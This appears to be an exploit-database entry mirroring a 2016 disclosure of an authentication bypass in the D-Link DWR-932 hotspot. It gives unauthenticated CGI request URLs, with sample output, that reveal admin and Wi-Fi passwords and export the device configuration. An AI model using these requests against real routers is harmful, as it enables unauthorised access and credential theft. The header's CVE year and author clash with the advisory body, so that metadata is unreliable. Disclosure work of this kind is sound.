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D-Link DWR-932 Authentication Bypass / Password Disclosure

CVE Category Price Severity
CVE-2019-16222 CWE-287 Not disclosed High
Author Risk Exploitation Type Date
Ashutosh Barot High Remote 2016-03-22
CPE
cpe:cpe:/h:d-link:dwr-932
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016030115

Below is a copy:

D-Link DWR-932 Authentication Bypass / Password DisclosureD-Link DWR-932 Firmware <= V4.00 Authentication Bypass - Password Disclosure

Author: Saeed reza Zamanian [penetrationtest @ Linkedin]

Product: D-Link DWR-932 
Tested Version: Firmware V4.00(EU)b03
Vendor: D-Link http://www.dlink.com/
Product URL: http://www.dlink.com/uk/en/home-solutions/work/personal-hotspots/dwr-932-4g-lte-mobile-wi-fi-hotspot-150-mbps
Date: 20 Mar 2016


About Product: 
---------------
The DWR-932 4G LTE Mobile Wi-Fi Hotspot 150 Mbps is a 4G/LTE Cat4 high speed broadband Wi-Fi mobile hotspot. The DWR-932 uses a 4G Internet connection to give you a simple and fast Wi-Fi network anywhere you need.


Vulnerability Details:
----------------------
The Cgi Script "/cgi-bin/dget.cgi" handles most of user side and server side requests, but there is no observation on requests recieved from unauthorized users.
so the attacker will be able to view Adminitrative or Wifi Password in clear text by visiting below URLs.

View Admin Username and Password:
http://192.168.0.1/cgi-bin/dget.cgi?cmd=DEVICE_web_usrname,DEVICE_web_passwd,DEVICE_login_timeout&_=1458459188807
Output:
{ "DEVICE_web_usrname": "MyUsErNaMe", "DEVICE_web_passwd": "MyPaSsWoRd", "DEVICE_login_timeout": "600" }

View Wifi Password:
http://192.168.0.1/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703
Output:
{ "wifi_AP1_ssid": "dlink-DWR-932", "wifi_AP1_hidden": "0", "wifi_AP1_passphrase": "MyPaSsPhRaSe", "wifi_AP1_passphrase_wep": "", "wifi_AP1_security_mode": "3208,8", "wifi_AP1_enable": "1", "get_mac_filter_list": "", "get_mac_filter_switch": "0", "get_client_list": "9c:00:97:00:a3:b3,192.168.0.45,IT-PCs,0>40:b8:00:ab:b8:8c,192.168.0.43,android-b2e363e04fb0680d,0", "get_mac_address": "c4:00:f5:00:ec:40", "get_wps_dev_pin": "", "get_wps_mode": "0", "get_wps_enable": "0", "get_wps_current_time": "" }

Export All Configurations:
http://192.168.0.1/cgi-bin/export_cfg.cgi


#EOF


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